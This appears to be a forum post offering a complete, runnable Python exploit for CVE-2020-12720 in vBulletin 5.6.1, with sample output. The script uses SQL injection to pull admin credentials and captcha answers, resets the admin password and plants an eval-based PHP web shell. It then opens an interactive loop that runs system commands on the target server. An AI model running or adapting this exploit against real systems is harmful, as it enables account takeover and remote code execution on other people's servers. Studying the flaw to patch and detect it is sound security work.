vBulletin 5.6.1 - 'nodeId' SQL Injection
# Date: 2020-05-15
# Version: vBulletin v5.6.x (до Patch Level 1)
# Тестировалось: vBulletin v5.6.1 на Debian 10 x64
# CVE: CVE-2020-12720 vBulletin v5.6.1 (SQLi) with path to RCE
Запуск эксплойта:
# Date: 2020-05-15
# Version: vBulletin v5.6.x (до Patch Level 1)
# Тестировалось: vBulletin v5.6.1 на Debian 10 x64
# CVE: CVE-2020-12720 vBulletin v5.6.1 (SQLi) with path to RCE
Запуск эксплойта:
Код:
$ python3 exploit.py http://localhost/vb/
[+] Host is up and vulnerable
[+] Table prefix tableprefix_
[+] admin original token $2y$15$lP7uTPrHIE6JTGnWI3rTCOGp9YEMUX72NrJSAEXGgIFxy/.RqMl.a
[+] Captcha ZY3E2a
[+] Resetting password
[!] new admin credentials {admin:P4$$w0rd!}
[+] Writing shell
[!] GOT SHELL
Python:
#!/usr/bin/env python3
# rekter0, zenofex
import requests
import sys
from random import randint
if (len(sys.argv)<2 ):
print('[*] usage: ./'+sys.argv[0]+' http://host/forum')
exit()
url = sys.argv[1]
#CHECK
s = requests.Session()
r = s.post(url+'/ajax/api/content_infraction/getIndexableContent', verify=False,headers={'X-Requested-With': 'XMLHttpRequest'} , data={'nodeId[nodeid]':'1 UNION SELECT 26,25,24,23,22,21,20,19,20,17,16,15,14,13,12,11,10,"vbulletinrcepoc",8,7,6,5,4,3,2,1;-- -'})
if not 'vbulletinrcepoc' in r.text:
print('[-] not vulnerable')
exit()
print('[+] Host is up and vulnerable')
# GET TABLES PREFIXES
r = s.post(url+'/ajax/api/content_infraction/getIndexableContent', verify=False,headers={'X-Requested-With': 'XMLHttpRequest'} , data={'nodeId[nodeid]':'1 UNION SELECT 26,25,24,23,22,21,20,19,20,17,16,15,14,13,12,11,10,table_name,8,7,6,5,4,3,2,1 from information_schema.columns WHERE column_name=\'phrasegroup_cppermission\';-- -'})
table_prefix=r.json()['rawtext'].split('language')[0]
print('[+] Table prefix '+table_prefix)
# GET ADMIN DETAILS
# assuming admin groupid=6, default install groups unchanged
r = s.post(url+'/ajax/api/content_infraction/getIndexableContent', verify=False,headers={'X-Requested-With': 'XMLHttpRequest'} , data={'nodeId[nodeid]':'1 UNION SELECT 26,25,24,23,22,21,20,19,20,17,16,15,14,13,12,11,10,concat(username,0x7c,userid,0x7c,email,0x7c,token),8,7,6,5,4,3,2,1 from '+table_prefix+'user where usergroupid=6;-- -'})
admin_user,admin_id,admin_email,admin_orig_token = r.json()['rawtext'].split('|')
print('[+] admin original token '+admin_orig_token)
# REQUEST CAPTCHA
r = s.post(url+'/ajax/api/hv/generateToken?',headers={'X-Requested-With': 'XMLHttpRequest'},data={'securitytoken':'guest'})
rhash=r.json()['hash']
r = s.get(url+'/hv/image?hash='+rhash)
# GET CAPTCHA
r = s.post(url+'/ajax/api/content_infraction/getIndexableContent', verify=False,headers={'X-Requested-With': 'XMLHttpRequest'} , data={'nodeId[nodeid]':'1 UNION SELECT 26,25,24,23,22,21,20,19,20,17,16,15,14,13,12,11,10,count(answer),8,7,6,5,4,3,2,1 from '+table_prefix+'humanverify limit 0,1-- -'})
#print r.text
r = s.post(url+'/ajax/api/content_infraction/getIndexableContent', verify=False,headers={'X-Requested-With': 'XMLHttpRequest'} , data={'nodeId[nodeid]':'1 UNION SELECT 26,25,24,23,22,21,20,19,20,17,16,15,14,13,12,11,10,(answer),8,7,6,5,4,3,2,1 from '+table_prefix+'humanverify limit '+str(int(r.json()['rawtext'])-1)+',1-- -'})
# REQUEST NEW PW
CAPTCHA=r.json()['rawtext']
print('[+] Captcha '+CAPTCHA)
r = s.post(url+'/auth/lostpw', verify=False,headers={'X-Requested-With': 'XMLHttpRequest'} , data={'email':admin_email,'humanverify[input]':CAPTCHA,'humanverify[hash]':rhash,'securitytoken':'guest'})
if not r.json()['response']==None:
print('[-] reset pw failed')
exit()
print('[+] Resetting password')
# RETRIEVE RESET TOKEN FROM DB
# GET CAPTCHA
r = s.post(url+'/ajax/api/content_infraction/getIndexableContent', verify=False,headers={'X-Requested-With': 'XMLHttpRequest'} , data={'nodeId[nodeid]':'1 UNION SELECT 26,25,24,23,22,21,20,19,20,17,16,15,14,13,12,11,10,activationid,8,7,6,5,4,3,2,1 from '+table_prefix+'useractivation WHERE userid='+admin_id+' limit 0,1-- -'})
TOKEN=r.json()['rawtext']
# RESET PW
r = s.post(url+'/auth/reset-password', verify=False,headers={'X-Requested-With': 'XMLHttpRequest'} , data={'userid':admin_id,'activationid':TOKEN,'new-password':'P4$$w0rd!','new-password-confirm':'P4$$w0rd!','securitytoken':'guest'})
if not 'Logging in' in r.text:
print('[-] fail')
exit()
print('[!] new admin credentials {'+admin_user+':P4$$w0rd!}')
# LOGIN
r = s.post(url+'/auth/ajax-login', verify=False,headers={'X-Requested-With': 'XMLHttpRequest'} , data={'username':admin_user,'password':'P4$$w0rd!','securitytoken':'guest'})
TOKEN = r.json()['newtoken']
print('[+] Writing shell')
#ACTIVATE SITE-BUILDER
r = s.post(url+'/ajax/activate-sitebuilder', verify=False,headers={'X-Requested-With': 'XMLHttpRequest'} , data={'pageid':'1','nodeid':'0','userid':'1','loadMenu':'false','isAjaxTemplateRender':'true','isAjaxTemplateRenderWithData':'true','securitytoken':TOKEN})
r = s.post(url+'/auth/ajax-login', verify=False,headers={'X-Requested-With': 'XMLHttpRequest'} , data={'logintype':'cplogin','userid':admin_id,'password':'P4$$w0rd!','securitytoken':TOKEN})
# SAVE WIDGET
r = s.post(url+'/ajax/api/widget/saveNewWidgetInstance', verify=False,headers={'X-Requested-With': 'XMLHttpRequest'} , data={'containerinstanceid':'0','widgetid':'23','pagetemplateid':'','securitytoken':TOKEN})
widgetinstanceid = r.json()['widgetinstanceid']
pagetemplateid = r.json()['pagetemplateid']
r = s.post(url+'/ajax/api/widget/saveAdminConfig', verify=False,headers={'X-Requested-With': 'XMLHttpRequest'} , data={'widgetid':'23','pagetemplateid':pagetemplateid,'widgetinstanceid':widgetinstanceid,'data[widget_type]':'','data[title]':'Unconfigured+PHP+Module','data[show_at_breakpoints][desktop]':'1','data[show_at_breakpoints][small]':'1','data[show_at_breakpoints][xsmall]':'1','data[hide_title]':'0','data[module_viewpermissions][key]':'show_all','data[code]':'eval($_GET["e"]);','securitytoken':TOKEN})
#SAVE PAGE
myshell = 'myshell'+str(randint(10, 100))
r = s.post(url+'/admin/savepage', verify=False,headers={'X-Requested-With': 'XMLHttpRequest'} , data={'input[ishomeroute]':'0','input[pageid]':'0','input[nodeid]':'0','input[userid]':admin_id,'input[screenlayoutid]':'2','input[templatetitle]':myshell,'input[displaysections[0]]':'[]','input[displaysections[1]]':'[]','input[displaysections[2]]':'[{"widgetId":"23","widgetInstanceId":"'+str(widgetinstanceid)+'"}]','input[displaysections[3]]':'[]','input[pagetitle]':myshell,'input[resturl]':myshell,'input[metadescription]':'vBulletin Forums','input[pagetemplateid]':pagetemplateid,'url':url,'securitytoken':TOKEN})
r = s.get(url+'/'+myshell+'?e=echo \'pwwwwwwwwwwwwwwwwwwned!\';', verify=False,headers={'X-Requested-With': 'XMLHttpRequest'} )
if 'pwwwwwwwwwwwwwwwwwwned' in r.text:
print('[!] GOT SHELL')
while True:
cmd = input('> ')
r = s.get(url+'/'+myshell+'?e=system(\''+cmd+'\');', verify=False,headers={'X-Requested-With': 'XMLHttpRequest'} )
print(r.text.split('<div class="widget-content">')[1].split('</div>')[0].strip().rstrip())